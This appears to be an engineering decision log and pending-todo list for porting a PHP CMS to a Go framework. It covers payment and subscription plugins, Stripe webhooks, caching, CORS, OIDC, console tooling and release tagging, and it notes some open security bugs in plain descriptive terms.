- [Phase 17]: 17-06: cabana singleton route reruns its transaction once on a Postgres unique violation from SingletonRecord (first-open race); fix 6312929 needs the next framework tag
|
||||
- [Phase 17]: 17-06: scripts/check-phase17.sh is the Phase 17 gate; every Phase 17 test name sits in one stage list (go, plugins, admin, layers, postgres)
|
||||
- [Phase 17]: 17-06: protocol-relative menu URLs stay anchors (D-16 rule) in the server and layer; the plan's text-without-href wording is a deferred question
|
||||
- [Phase 18]: Phase 18 plan 01 release gate: framework tag v0.1.25 held until the phase gate after plan 07 (human reply: hold); nothing pushed or tagged, plans 02 to 06 build against the checkout through go.work replace — One tag for the whole phase with the unit tests of plan 07 included; the plugin plans use go.work replace and need no published version, so holding costs only a later bump
|
||||
- [Phase 18]: Money is a decimal string on the wire and in the SPA (never a float, never rounded or truncated); MoneyField emits the raw compact text for a malformed or too-precise draft so the server 422 stays the gate — D-07 and D-10 forbid rounding and truncation; emitting the last valid prefix on a bad draft would let Save write a truncated amount
|
||||
- [Phase 18]: Settings secrets are write-only: the GET omits the value and reports meta.secrets.<field> as stored, env or empty; on PUT an absent key or empty string keeps the stored value and JSON null clears it; meta is omitted when there is nothing to report so existing payloads stay byte-identical — The value must never leave the server (D-13, T-18-03); omitempty on meta and danger keeps the Phase 10 conformance fixtures and the PHP-shaped payloads unchanged
|
||||
- [Phase 18]: 18-02: cart/details v2 row format is v2-research (long keys, top-level v:2); legacy JMS rows decoded in place, never rewritten
|
||||
- [Phase 18]: 18-02: notification route verifies (VerifyNotification on the capped raw body) before any database lookup; operators.PaymentContext carries Tx for in-transaction transitions
|
||||
- [Phase 18]: 18-02: NBP uses Table A of the day before with a 5-day fallback (PHP semantics); Fixer keeps the PHP endpoint with optional fixer_access_key
|
||||
- [Phase 18]: Admin amounts use money.Stored (struct around Amount4) because cabana money fields/columns accept only string or struct Scanner/Valuer columns
|
||||
- [Phase 18]: Quote cart widget runs one cabana action (quote_cart) with payload operations; refusals answer 403 ForbiddenError so the admin toasts the localized reason
|
||||
- [Phase 18]: Paymentgateway admin copy is complete in lang/{en,pl}; plan 04 settings/mailer keys listed in 18-03-SUMMARY
|
||||
- [Phase 18]: 18-04: cabana settings forms serve method-backed dropdowns from the settings model (pact.DropdownOptionsProvider); framework tag still held to the phase gate
|
||||
- [Phase 18]: 18-04: default_currency validated as required|in:<ISO codes> plus a BeforeValidate 422 settings.default_currency_required (lagoon has no string/size rule)
|
||||
- [Phase 18]: 18-04: order mails only with orders on, payment mails (customer and staff) only with orders off, as PHP registerSubscribers; mails sent via lagoon.AfterCommit, events.MailSender seam for apps and tests
|
||||
- [Phase 18]: 18-05: Stripe operator defaults to hosted Checkout; the Details parameter stripe_checkout_mode overrides the checkout_mode setting per order
|
||||
- [Phase 18]: 18-05: PaymentIntent created without a payment method answers the requires_action bundle for requires_payment_method; only a confirmed payment method ending there is a decline
|
||||
- [Phase 18]: 18-05: Stripe webhooks are verified by signature only (webhook.ValidatePayload) with a minimal local event decode, so the endpoint API version is irrelevant
|
||||
- [Phase 18]: 18-05: Authentic notifications for no payment of this application answer 200 ignored via the new paymentgateway sentinel operators.ErrNotificationIgnored
|
||||
- [Phase 18]: 18-05: All four Stripe secrets fall back to golem15.pgstripe.<column> config keys (SUMMER_GOLEM15__PGSTRIPE__*) while their encrypted column is empty
|
||||
- [Phase 18]: 18-06: customer API contract api-research (one-way): twelve endpoints under /_paymentgateway/api/v1, money {amount, amount_minor, currency}, 404 for unknown and forbidden orders, 409 Order state changed
|
||||
- [Phase 18]: 18-06: customer cancel in AwaitingPayment uses the PHP Cancel transition after canceling open cash and bank transfer payments; process rolls back on an operator error so the order stays Placed
|
||||
- [Phase 18]: 18-06: GET /orders behind api.RequireJWT (jwt guard, Bearer only); layer auth hook is the Nuxt provide paymentGatewayAuth
|
||||
- [Phase 18]: 18-06: fixtures: none for shop-type legacy rows (human); three repos published, vue-paymentgateway-layer tagged v0.1.0
|
||||
- [Phase 18]: 18-07 push-all: four repositories pushed and the framework tagged v0.1.25 (held since 18-01)
|
||||
- [Phase 18]: 18-07 money fields accept trailing zeros beyond the scale (fix eb60c32), published in v0.1.25
|
||||
- [Phase 18]: 18-07 fixtures none: synthetic legacy rows stand in for D-11; TestLegacyFixtures picks up shop-export rows later
|
||||
- [Phase 18]: 18-07 the two pgstripe reliability tests are 18.1; replay_and_race is Phase 18 idempotency evidence
|
||||
- [Phase 18]: 18-08: payment_intent.payment_failed is not terminal: the Stripe operator logs one Warn line and leaves the payment Sent; only checkout.session.async_payment_failed rejects; checkout.session.expired and payment_intent.canceled stay 200 no-ops closed by pg:cancel-sent-payments — Stripe sends the event on every declined attempt and the customer may retry on the same Checkout page or client secret; Reject is final, and PHP never moved a payment from a notification except to Accept (gap 1 of 18-VERIFICATION, A-CR-01)
|
||||
- [Phase 18]: 18-08: a paid signal the payment machine refuses is logged at Error level (refuses Accept) for never-accepted payments; Accepted and Refunded are silent; no payment event, automatic refund or data write — The log line is the alert hook; a new event would be a public contract on a shared plugin with no listener, and a refund moves money (A-CR-02 logging half; session expiry on cancel stays open)
|
||||
- [Phase 18]: 18-08 push: sm-pgstripe-plugin main pushed to 0313820 after the human reply push; no tag, summercms.go not pushed — Task 4 checkpoint:decision; no application mounts the plugin yet, so no pointer bump
|
||||
- [Phase 18.1]: 18.1-01 release gate: human replied "hold"; framework tag v0.1.26 held until plan 06, nothing pushed (22 commits origin/master..master local)
|
||||
- [Phase 18.1]: 18.1-01: flat reorder inferred WinterCMS-Sortable style (no parentColumn key, no parent_id column); flat flag omitempty keeps tree payloads byte-identical
|
||||
- [Phase 18.1]: 18.1-01: required taglist is checked on its normalised tags; generic required rule skipped for taglist as for repeater
|
||||
- [Phase 18.1]: 18.1-02: baseline JSON columns (stripe_prices, currency_prices, features) are JSONB (human: baseline-jsonb); lagoon.Jsonable works unchanged
|
||||
- [Phase 18.1]: 18.1-02: pgsub gateways never write the DB; the service stores the customer id in its own short transaction and writes cancel_at_period_end after a successful cancel at period end
|
||||
- [Phase 18.1]: 18.1-02: sm-paymentgatewaysubscriptions-plugin created with tea and main pushed at aad4647 (human: create-and-push)
|
||||
- [Phase 18.1]: 18.1-03: subscription webhook answers keep PHP plain-text bodies (reply php-plain-text), text/plain without trailing newline
|
||||
- [Phase 18.1]: 18.1-03: Stripe plan sync looks prices up with Prices List (lookup_keys, active) instead of PHP Prices Search
|
||||
- [Phase 18.1]: 18.1-03: golem15.pgstripesubscriptions is its own plugin in sm-pgstripe-plugin/subscriptions; the root package never imports it (payments-only builds link no pgsub)
|
||||
- [Phase 18.1]: 18.1-03: pgstripe:import-winter --webhook-secret-target defaults to payments (Phase 18 mapping); ReadWinterSettingsFor is additive
|
||||
- [Phase 18.1]: Customer API contract confirmed as api-research (18.1-04 Task 4): money objects per currency, 404 Subscription not found when the user has none, latest subscription with has_access and in_grace_period
|
||||
- [Phase 18.1]: pgsub plan sync admin actions never fail after the first gateway call: per-plan failures are code: message lines in the result, so provider ids saved in the bulk transaction survive
|
||||
- [Phase 18.1]: Customer API redirect targets come only from api.success_url, api.cancel_url and api.portal_return_url, resolved at boot (absolute http(s), a path joined to app.url, or empty = app.url); malformed values fail boot naming the key
|
||||
- [Phase 18.1]: Layer release 18.1-05: human reply "hold"; vue-paymentgateway-layer main 3dea9cd unpushed, no v0.2.0 tag; plan 06 publishes
|
||||
- [Phase 18.1]: Layer subscription redirects follow only absolute http(s) checkout_url/portal_url from the API answer
|
||||
- [Phase 18.1]: PgPlans shows the chosen currency price or the plan first price; subscribe sends the currency of the price shown
|
||||
- [Phase 18.1]: Phase 18.1 published on push-all: summercms v0.1.26 (taglist, flat reorder, localized reorder.flat fix), vue-paymentgateway-layer v0.2.0, pgsub and pgstripe require summercms v0.1.26
|
||||
- [Phase 18.1]: scripts/check-phase18.1.sh is the phase gate; it never installs packages and fails loudly on a pnpm store mismatch; the layer check-git-install.sh stays open
|
||||
- [Phase 19.3]: 19.3-01: cooler memory cache driver is otter v2 (bounded); stdlib map rejected as unbounded
|
||||
- [Phase 19.3]: 19.3-01: unreachable Redis at start-up is a warning; missing/malformed redis.url with a Redis driver is a boot error naming the key
|
||||
- [Phase 19.3]: 19.3-01: cooler key prefix = cache.prefix or slug(app.name)+':' (default summer:); cache keys <prefix>cache:, limiter keys <prefix>rl:
|
||||
- [Phase 19.3]: 19.3-01: Remember degrades on cache errors; Redis Flush is SCAN MATCH <prefix>cache:* + UNLINK, never FLUSHDB
|
||||
- [Phase 19.3]: 19.3-02: bouncer cookie transport reads auth.cookie.* through CookieConfigSource (compass satisfies it, bouncer imports no framework module); TokenCookie Max-Age is the guard's refresh window
|
||||
- [Phase 19.3]: 19.3-02: credentialed CORS with a * origin, uncompilable or PHP-delimited origin patterns fail boot; dynamic CORS answers echo the exact origin with Vary: Origin; the non-credentialed * answer is unchanged
|
||||
- [Phase 19.3]: 19.3-02: route-group CORS uses cors:<profile> from http.cors_profiles.<name>; the router registers OPTIONS preflight routes (owner surf) and refuses overlap with http.cors.paths
|
||||
- [Phase 19.3]: 19.3-02: Turnstile open/closed follows PHP; with a secret, a transport error or timeout is 422 in both modes and a missing token fails without a siteverify call; a published *bouncer.Turnstile or bouncer.TurnstileWriter overrides the defaults
|
||||
- [Phase 19.3]: 19.3-02: /api-docs is opt-in (http.api_docs.enabled), spec from exactly one surf.APIDocsProvider converted at boot, swagger-ui-dist pinned to 5.33.1 with sha384 SRI and a nonce CSP
|
||||
- [Phase 19.3]: 19.3-03: S3 driver opt-in via summer.yaml build.tags summercms_s3 (attach.S3BuildTag); untagged binaries refuse s3:// at boot naming the tag
|
||||
- [Phase 19.3]: 19.3-03: attach.DiskExtension derives the stored extension from the sniffed type (fixed table, script-capable client extensions become txt/bin); file_name keeps the client name
|
||||
- [Phase 19.3]: 19.3-03: storage.uploads.public_url applies to every attach URL; start-up line and docs require a public-files-only bucket
|
||||
- [Phase 19.3]: Site-cache purge is a cooler service (site_cache.purge_url, site_cache.purge_token); failures never fail a save
|
||||
- [Phase 19.3]: pact.ReorderAfterSave runs inside cabana's reorder transaction; reorderPost uses lagoon.Transaction so AfterCommit fires
|
||||
- [Phase 19.3]: Journal golem15.journal.site_cache.* kept as deprecated aliases for one release; framework keys win
|
||||
- [Phase 19.3]: 19.3-04 Task 4 reply push-all: plugins, layers, summercms master pushed; layer tags vue-faq/menu v0.2.0, vue-journal v0.4.0; no framework tag
|
||||
- [Phase 19.3]: 19.3-05: phase gate scripts/check-phase19.3.sh requires every new test by name (go test -json / TAP detectors); --all green incl. Docker
|
||||
- [Phase 19.3]: 19.3-05: miniredis v2.40.0 test-only in modules/cooler (Task 4 reply: approved)
|
||||
- [Phase 19.3]: Phase 19.3 released as summercms v0.1.27 (Task 7 reply: release); sm-faq-plugin, sm-menu-plugin and sm-journal-plugin require v0.1.27 on origin; app plugin submodule pointers not bumped yet
|
||||
- [Phase 19.3]: Phase 19.3 gate scripts/check-phase19.3.sh is fail-closed: a skipped, missing or red required test fails the stage; miniredis is test-only
|
||||
- [Phase 19.3]: 19.3-06: release of v0.1.28 (tag, plugin require bumps, layer tags v0.3.0/v0.3.0/v0.5.0, pushes) handed off to the phase 19.3 main session with the whole-phase docs update; gap closure pushed and tagged nothing
|
||||
- [Phase 18.1]: 18.1-07: D-21 superseded for event ordering (user decision 2026-10-14): the Stripe webhook job applies the subscription Stripe holds (re-retrieved outside any transaction, serialised by a per-subscription pg_advisory_lock via classes.WithSessionLock/SubscriptionLockKey); a Stripe 404 falls back to the event snapshot
|
||||
- [Phase 18.1]: 18.1-07: ApplyDeleted on an unstored subscription returns classes.ErrSubscriptionNotStored so the job rolls its marker back and River retries the deletion
|
||||
- [Phase 18.1]: 18.1-07: plan resolution order is exact price id, then stripe_product_id, then plan_code (any plan, active or not); contracts.Update gains ProductID and PlanCode
|
||||
- [Phase 18.1]: 18.1-07: Service.SyncSubscription writes only gateway-owned columns of a FOR UPDATE re-read row (plus the plan via the optional contracts.SubscriptionRetriever), never the caller's whole row
|
||||
- [Phase 18.1]: 18.1-08: checkouts bill only the plan's own Stripe price per currency (SubscriptionPlan.CheckoutPriceID, no cross-currency fallback); the yen is unsupported
|
||||
- [Phase 18.1]: 18.1-08: customer checkouts go through Service.CheckoutGuarded (per-subscriber advisory lock, 409 for any open subscription) plus Stripe idempotency keys (10-minute window, parameter hash); users.stripe_customer_id is first-write-wins
|
||||
- [Phase 18.1]: 18.1-08: framework pact.AdminBulkAction.Detached (opt-in, json:"-") runs a bulk action outside the cabana transaction; plan sync uses it; needs framework tag v0.1.27 at plan 09
|
||||
- [Phase 18.1]: 18.1-09: framework release tag is v0.2.1 (v0.1.27 and v0.2.0 already on origin); first plugin tags pgsub v0.1.0 and pgstripe v0.1.0, pgstripe requires pgsub v0.1.0, replace lines kept
|
||||
- [Phase 19]: 19-01: Task 1 reply proceed-and-push; sm-chat-plugin created and main pushed at b93cae7
|
||||
- [Phase 19]: 19-01: D-01 names, D-04 baseline 202610160001_create_golem15_chat_baseline, D-12 rewrite-as-both locked
|
||||
- [Phase 19.1]: Task 1 reply verbatim: proceed-and-push
|
||||
- [Phase 19.1]: Locked D-01 names, D-02 baseline 202610180001_create_golem15_userfriends_baseline, D-05 prefix /_userfriends/api/v1
|
||||
- [Phase 19.1]: tea repos create --owner golem15 --name sm-userfriends-plugin succeeded; main pushed at 2480ff0 (never force). summercms.go was not pushed.
|
||||
- [Phase 19.1]: Task 1 reply verbatim: proceed. Locked D-02 baseline 202610180001_create_golem15_chatbots_baseline and D-05 prefix /_chatbots/api/v1; remote follows plan 01 proceed-and-push.
|
||||
- [Phase 19.1]: tea repos create --owner golem15 --name sm-chatbots-plugin succeeded; main pushed at c7d9108 (never force). summercms.go was not pushed.
|
||||
- [Phase 19.1-chat-satellites]: Task 2 reply verbatim: proceed
|
||||
- [Phase 19.1-chat-satellites]: Locked D-02 baseline id 202610180001_create_golem15_herald_baseline and D-05 prefix /_herald/api/v1; remote policy follows plan 01 proceed-and-push
|
||||
- [Phase 19.1-chat-satellites]: tea repos create --owner golem15 --name sm-herald-plugin succeeded; main pushed at 46af07a (never force). summercms.go was not pushed.
|
||||
- [Phase 19.1]: Task 2 reply verbatim: proceed — Human locked D-02 baseline id and D-05 prefix; Task 2 was not re-asked.
|
||||
- [Phase 19.1]: Locked D-02 baseline id 202610180001_create_golem15_chatvideo_baseline and D-05 prefix /_chatvideo/api/v1; remote policy follows plan 01 proceed-and-push — These names land in adopting apps and published clients.
|
||||
- [Phase 19.1]: tea repos create --owner golem15 --name sm-chatvideo-plugin succeeded; main pushed at 38179b5 (never force). summercms.go was not pushed. — Remote policy is proceed-and-push after Task 4 green.
|
||||
- [Phase 19.1]: After APIs exist, execute should run the security-review agent (CONTEXT). This execute did not spawn it. — CONTEXT discretion; planner and execute both refuse to spawn the reviewer.
|
||||
- [Phase 19.1]: Task 2 reply verbatim: proceed — Human locked D-02 baseline id 202610180001_create_golem15_forum_baseline and D-05 prefix /_forum/api/v1 before the sibling repo existed. Remote policy follows plan 01 proceed-and-push.
|
||||
- [Phase 19.1]: Locked D-02 baseline id 202610180001_create_golem15_forum_baseline and D-05 prefix /_forum/api/v1; remote policy follows plan 01 proceed-and-push — Continuation recorded the lock from the human proceed reply; Task 1 and Task 2 were not re-asked.
|
||||
- [Phase 19.1]: tea repos create --owner golem15 --name sm-forum-plugin succeeded; main pushed at 6a40030 (never force). summercms.go was not pushed. — Plan 01 remote policy proceed-and-push; tea-create only after Task 4 green.
|
||||
- [Phase 19.1]: Goldens from PHP fixtures; live capture NOT RUN — No live PHP Wavepath backend was reachable.
|
||||
- [Phase 19.1]: Execute should now run the security-review agent; this execute did not spawn it — Five APIs, push sender, token issuer, sanitizer boundary, and GDPR cascades now exist.
|
||||
- [Phase 19.1]: Gate named-short vs postgres split follows the skip detector — TestHTTPTracer and TestReconcileEmptyRoom skip under -short; a skip is refuse.
|
||||
- [Phase 19.4]: D-16: extend the hand-written wristband with an OIDC flavour; golang-jwt/jwt/v5 v5.3.1 signs id_tokens via MapClaims; stdlib JWKs; zitadel/oidc v3 rejected; go-oidc and x/oauth2 test-only in sm-oauthserver-plugin
|
||||
- [Phase 19.4]: 19.4-01: OIDC redirects send Cache-Control no-store, private (plan) while PHP sends no-cache, private; plan 03 tide replay settles it
|
||||
- [Phase 19.4]: 19.4-01: wristband DefaultOptions().Resource is empty; host applications set their MCP resource explicitly (fonoteka 687e25a)
|
||||
- [Phase 19.4]: 19.4-02: go-oidc v3.21.0 and x/oauth2 v0.37.0 approved as test-only requirements of sm-oauthserver-plugin (TestRelyingPartyInterop, RS256 and ES256)
|
||||
- [Phase 19.4]: 19.4-02: first signing key via INSERT ... ON CONFLICT (active) WHERE active DO NOTHING with a silent GORM logger so key ciphertext never reaches the log
|
||||
- [Phase 19.4]: 19.4-02: plugin-owned oauthserver.body.limit middleware on the token routes because surf ignores body.limit on GroupRaw routes
|
||||
- [Phase 19.4]: 19.4-02: SanitizeCustomCSS repeats tag-opener removal until stable (PHP single pass is bypassable)
|
||||
- [Phase 19.4]: 19.4-03: skip-parity at Task 5; per the user's D-14 amendment the PHP OIDC recording is a preliminary task of the WavePath cutover phase (todo 2026-10-19-record-php-oidc-parity-against-wavepath); the phase verdict is not held at human_needed
|
||||
- [Phase 19.4]: 19.4-03: admin redirect URIs are checked on save with wristband.RejectRedirectURI; http loopback only on development clients
|
||||
- [Phase 19.4]: 19.4-03: lagoon has no string/url/regex rules, so branding formats are checked in the branding controller and Rules() use only nullable|max:N
|
||||
- [Phase 19.4]: 19.4-03: security review pinned every T-19.4 mitigation with a test (summercms.go eaa545c, plugin b4223be, f8eaf70); T-19.4-36..39 accepted
|
||||
- [Phase 19.4]: Phase gate stages split by Docker need; the application's unrelated admin route test stays outside the gate (deferred-items)
|
||||
- [Phase 19.4]: PHP method map: 171 methods, 146 ported, 25 adapted with reasons, none not-applicable
|
||||
- [Phase 19.4]: Parity NOT RUN points to the WavePath cutover todo and does not hold the verdict (D-14 amended); PHASE194_REQUIRE_PARITY=1 fails
|
||||
- [Phase 19.4.1]: Roadmap decks use the new summer deck theme (summercms.io look: navy, sun yellow, Roboto), chosen at the deck review; fonts vendored from the summercms.io build in sm-bm-app, no new npm dependency
|
||||
- [Phase 19.4.1]: golem15.presentations gets summer as an additive theme option; plan 04 must port summer.css and accept summer in the demo deck API
|
||||
- [Phase 19.4.1]: Admin public at https://demo.summercms.io/smbackend, login required, /backend 404 (user, 2026-10-20). Replaces the phase goal's and D-04's 'admin backend stays private'. Plans 03-05 recheck: plan 03 CTA/contact form wording, CONTEXT deployment note, threat row T-19.4.1-06 (new mitigation: login required, credentials on request, 5/min login throttle per real IP via Cloudflare real-IP, then 429), seeded FAQ 'The admin is private on this demo' (seed.go and the live row). — The user asked for the admin at the Task 7 review of the first live release; the throttle was checked live behind Cloudflare.
|
||||
- [Phase 19.4.1]: The 'Want to see the backend? Contact Golem15' CTA stays a contact CTA and does not link to /smbackend (user, 2026-10-20). The admin URL is public, its credentials are not; Golem15 hands them out on request. Plan 03's contact form (D-04) still applies; only its wording and the threat model change. — Resolves the open question raised by the /smbackend decision.
|
||||
- [Phase 19.4.1]: Plugin release tags for the demo: paymentgateway v0.1.0; sitemap, menu, faq, oauthserver v0.1.0; pgsub v0.1.2 and pgstripe v0.1.2 re-tagged on paymentgateway v0.1.0; translate v0.1.2 and presentations v0.1.1. sm-demo-app go.mod requires tags only (summercms v0.3.0), no replace; release builds use GOWORK=off. — D-03; tags confirmed with git ls-remote after each push.
|
||||
- [Phase 19.4.1]: 19.4.1-03: tags sm-user-plugin v0.1.3 (7b9faa3) and sm-journal-plugin v0.2.1 (fe1bbc2); sm-demo-app requires both, other apps' pins untouched; Phase 19.5 takes the next free sm-user-plugin tag
|
||||
- [Phase 19.4.1]: 19.4.1-03: Turnstile is opt-in in the core user plugin (golem15.user.turnstile, empty default adds nothing, open|closed on /login and /register only, invalid value fails boot); the demo sets closed
|
||||
- [Phase 19.4.1]: 19.4.1-04: the demo runs its own Centrifugo v6.5.1 on rome (127.0.0.1:8010, /usr/local/bin/centrifugo, supervisor summercms-demo-centrifugo) with its own secrets; nothing shared with bm (D-17). Assumption A3 held: static_headers under channel.proxy.subscribe.http is accepted.
|
||||
- [Phase 19.4.1]: 19.4.1-04: logged in, the home page's Presentations card and a header link go to My presentations (/presentations); logged out the card goes straight to the deck of the language. SSR reads the session cookie, so server and hydrated links agree.
|
||||
- [Phase 19.4.1]: 19.4.1-04: on a computer the remote opens in a 390x844 named popup (speaker view Open remote, My presentations Remote); opened without noopener to detect blocking, opener cut at once; blocked popups fall back to a tab; phones open it in place. No QR code exists (would need an approved package).
|
||||
- [Phase 19.4.1]: 19.4.1-04: the demo deck API refuses edits to a published deck (403), keeping the seeded roadmap decks intact.
|
||||
- [Phase 19.4.1]: Phase 19.4.1 database tests boot the whole demo on a fresh database cloned from a migrated template per plugin list (internal/demotest, one postgres:15 container per test binary)
|
||||
- [Phase 19.4.1]: bm's frontend library tests run byte-identical in vue-demo-app under vitest 3.2.7; aliases map bm's @/api, @/deck and ../../deck/ layout
|
||||
- [Phase 19.4.1]: sm-demo-app scripts/check-all.sh is the phase gate: every suite, the release build, pin/deploy/smoke checks, local browser checks when the stack is up, and check-live
|
||||
- [Phase 19.8]: Charm v2 stack on charm.land paths (decision note 2026-10-21-console-charm-stack.md); plan 19.8-01 installed lipgloss v2.0.6 and colorprofile v0.4.3 only
|
||||
- [Phase 19.8]: diary owns the process logger: config/log.yaml channels (console, stderr, daily, stack, null), per-component levels, sunscreen on every leaf, daily files on by default (storage/logs, 14 days)
|
||||
- [Phase 19.8]: wristband and bouncer now import diary for their log lines, amending their dependency-free leaf status (confirmed by the user 2026-10-21: diary is the one allowed framework import, and wristband is required to use it)
|
||||
- [Phase 19.8]: 19.8-02: bonfire.NewRoot sends the error block to stderr when its output is os.Stdout; Output.Error keeps its stream, so no command output moves
|
||||
- [Phase 19.8]: 19.8-02: bonfire.Execute resets persistent flags per run and routes a call without a command word (globals, -h, --help) to the Artisan list; fang runs without version, man page and completions
|
||||
- [Phase 19.8]: 19.8-02: --no-ansi on an interactive terminal uses the plain line prompts (no huh, no selector); -n and -q return prompt defaults; ConfirmProceed never asks off an interactive terminal
|
||||
- [Phase 19.8]: 19.8-02: one live view at a time; output and diary log lines printed while it runs go above it via bonfire.PrintAbove (Program.Send, safe after the program ends)
|
||||
- [Phase 19.8]: 19.8-02: builtin list and help carry Long and Examples so the framework CheckDocs test in plan 3 covers them
|
||||
- [Phase 19.8]: 19.8-03: SummerCMS v0.4.0 tagged at 99b6df4 and pushed with its changelog post; commits other sessions made during the run stay local
|
||||
- [Phase 19.8]: 19.8-03: the ten plugins applications mount got patch tags (user v0.1.6, journal v0.2.2, pgstripe v0.1.3, the rest v0.1.1) because sm-demo-app refuses pseudo-version pins
|
||||
- [Phase 19.8]: 19.8-03: chat and forum require sm-user-plugin v0.1.2 (classes.DeletingEvent); plugins log through a package-level pluginLog = diary.For(code)
|
||||
- [Phase 19.8]: 19.8-05: CR-01 prints above live views by sending tea.Println messages straight to the program queue under liveMu; unregister/finish/wait as one locked, deferred step
|
||||
- [Phase 19.8]: 19.8-05: WR-01 handled inside runLive (relay SIGINT/SIGTERM while a view runs, Kill, re-raise); generated main unchanged
|
||||
- [Phase 19.8]: 19.8-05: CR-02 uses the additive bonfire.WithExitCode carrier; CR-03 delegates get os.Stdout/os.Stderr on a terminal, stderr kept apart otherwise
|
||||
- [Phase 19.8]: 19.8-05: dev.ShutdownGrace (15s) shared by summer dev and delegates; daily files retry after a minute or on a new date; replaced daily writers are retired
|
||||
- [Phase 19.8]: 19.8-05: bonfire.Sanitize (additive) replaces diary's sanitizer; Migrate iterates migrationSets
|
||||
- [Phase 19.6.1]: Roles create and update refuse any new code that rolePermissions attaches grants to, including when the editor is a superuser — D-16 stricter reading from the gap contract: a role never becomes a code-declared system role through the Roles screen
|
||||
- [Phase 19.6.1]: cabana wraps contributed Administrators Runs; guardOutranked stays unexported and contributors do not own the check — D-19 gap contract: wrap in cabana so a contribution to summercms.cabana.users cannot skip outranking
|
||||
- [Phase 19.6.1]: Persist picked relation labels on the form via FORM_REMEMBER_LABEL; keep the one-panel FormGrid (do not v-show inactive tabs) — UAT G-19.6.1-T2 is labeling only; v-show of inactive tabs would change trigger hide-tab, ML locale reset, and field mount cost
|
||||
- [Phase 19.6.1]: Administrators and Roles are cabana screens behind backend.manage_users / backend.manage_roles with no default role grant; privilege rules run in the save tx; last-superuser uses pg_advisory_xact_lock; contributed Administrators Runs are wrapped with guardOutranked.
|
||||
- [Phase 19.7]: 19.7-01: planner decisions P-01..P-04 implemented: bouncer.Dispatch context-only marker honoured by Registry.Middleware and cabana.ResolveBackend; account contributions as pact.HasAccountContributions; prompted record actions post payload as a JSON string; pact MCP types carry the principal as any and stay SDK-free
|
||||
- [Phase 19.7]: 19.7-01: wristband authorize allow-list is exactly Options.ScopesSupported (empty keeps the PHP default); surf stream routes recover with an opaque 500 only before the first byte; account contribution Run runs without a transaction only when no database is published
|
||||
- [Phase 19.7]: Framework release is v0.5.0 (19.7-02 Task 5), carrying 19.6.1, 19.7 plans 01-02 and a set of 7 msd-quick patches; tag only after all 7 are committed — User decision 2026-10-22: minor bump for the new pier module and pact capabilities; hold the tag until the quick patches land
|
||||
- [Phase 19.7]: v0.5.0 is tagged only when phase 19.7 is fully complete (plans 01-05 and phase verification); supersedes the earlier 19.7-02 Task 5 entry. Plan 02 closes without a tag; no intermediate framework tag for 19.7 work — User decision 2026-10-23: a minor version marks the finished MCP phase, not a partial one
|
||||
- [Phase 19.7]: Once the user confirms all in-flight msd-quick tasks are finished: release the framework as the next v0.4.x patch (carrying the quick patches and 19.7 work so far) and tag the held user-plugin fixes; plugins may be tagged mid-phase. Framework v0.5.0 stays reserved for full MCP usability at phase 19.7 completion — User decision 2026-10-23: plugins can be tagged now, framework 0.5 means the MCP phase is finished; wait for the user's word that the last quick agent is done
|
||||
- [Phase 19.7]: 19.7-02: pier serves 2025-11-25 clients through its own session router over StreamableServerTransport (Redis-shared sessions, D-25) and 2026-07-28 clients through the SDK stateless handler; plan 02 closed without a tag, pier ships opt-in in v0.4.4 (summercms_mcp tag plus mcp.enabled, default off)
|
||||
- [Phase 19.7]: Released framework v0.4.4 (e2759d6, changelog id 39) and sm-user-plugin v0.1.9 (3828a65; requires v0.4.3); sm-demo-app bumped to user v0.1.9 locally (a25444e, unpushed). Other apps not bumped yet — User go-ahead 2026-10-23 after all quick tasks finished; all release gates green at e2759d6
|
||||
|
||||
### Pending Todos
|
||||
|
||||
- [2026-10-01] [docs] Benchmark Płytarium on WinterCMS vs SummerCMS and publish a measured table — [todo file](.planning/todos/pending/2026-10-01-benchmark-the-application-on-wintercms-vs-summercms.md)
|
||||
- [2026-10-07] [sm-translate-plugin] Translate Messages as a Nuxt i18n JSON editor — [todo file](.planning/todos/pending/2026-10-07-translate-messages-as-nuxt-i18n-json-editor.md)
|
||||
- [unknown] [summercms.go admin auth] Backend admin personal API tokens (deferred Apparatus PersonalApiToken) — [todo file](.planning/todos/pending/backend-admin-api-tokens.md)
|
||||
- [unknown] [summercms.go bonfire] Reject duplicate console command names in bonfire.NewRoot — [todo file](.planning/todos/pending/bonfire-duplicate-command-names.md)
|
||||
- [2026-10-10] [framework] Prompt open admin and site tabs to reload when a new version is deployed — [todo file](.planning/todos/pending/2026-10-11-reload-open-apps-when-a-new-version-is-deployed.md) — Needs TBD. Ideas:.
|
||||
- [2026-10-11] [lagoon/attach, fonoteka.go uploads] Uploads keep the client file extension, so a valid image can be served as HTML (stored XSS) — [todo file](.planning/todos/pending/2026-10-11-uploads-keep-client-extension-stored-xss.md)
|
||||
- [unknown] [sm-user-plugin / cabana] Verified link between a frontend user and a backend user — [todo file](.planning/todos/pending/2026-10-17-frontend-backend-account-link.md)
|
||||
- [unknown] [sm-user-plugin / pact] Plugins register their frontend permission codes in Go — [todo file](.planning/todos/pending/2026-10-17-plugin-registered-frontend-permissions.md)
|
||||
- [2026-10-19] [sm-oauthserver-plugin] Record PHP OIDC parity against WavePath before the OIDC cutover — [todo file](.planning/todos/pending/2026-10-19-record-php-oidc-parity-against-wavepath.md)
|
||||
- [2026-10-20] [consumers] Move grzybyfunkcjonalne to NUXT_CACHE_PURGE_TOKEN and the new layers before the NUXT_SITE_CACHE_* names are dropped — [todo file](.planning/todos/pending/2026-10-20-rename-site-cache-purge-env-in-consumers.md)
|
||||
- [2026-10-21] [framework] Quiet plugin boot logs on console commands like --help — [todo file](.planning/todos/pending/2026-10-21-quiet-plugin-boot-logs-on-console-commands.md) — Needs TBD. Options, possibly combined:.
|
||||
- [2026-10-22] [framework] Console review info findings (IN-01..IN-13) and the delegate signal exit code — [todo file](.planning/todos/pending/2026-10-22-console-review-info-findings.md)
|
||||
- [2026-10-22] [sm-user-plugin] User login ignores is_activated — [todo file](.planning/todos/pending/2026-10-22-user-login-ignores-is-activated.md)
|
||||
- [2026-10-22] [sm-user-plugin] User login lockout and same-second cutoff — [todo file](.planning/todos/pending/2026-10-22-user-login-lockout-and-same-second-cutoff.md)
|
||||
- [2026-10-22] [sm-user-plugin] User login opt-in session cookie — [todo file](.planning/todos/pending/2026-10-22-user-login-opt-in-session-cookie.md)
|
||||
- [2026-10-22] [sm-user-plugin] User logout blacklist missing under serve — [todo file](.planning/todos/pending/2026-10-22-user-logout-blacklist-missing-under-serve.md)
|
||||
- [2026-10-22] [user-plugin] User plugin logout leaves the session cookie valid for up to 60 minutes — [todo file](.planning/todos/pending/2026-10-22-user-logout-cookie-stays-valid.md)
|
||||
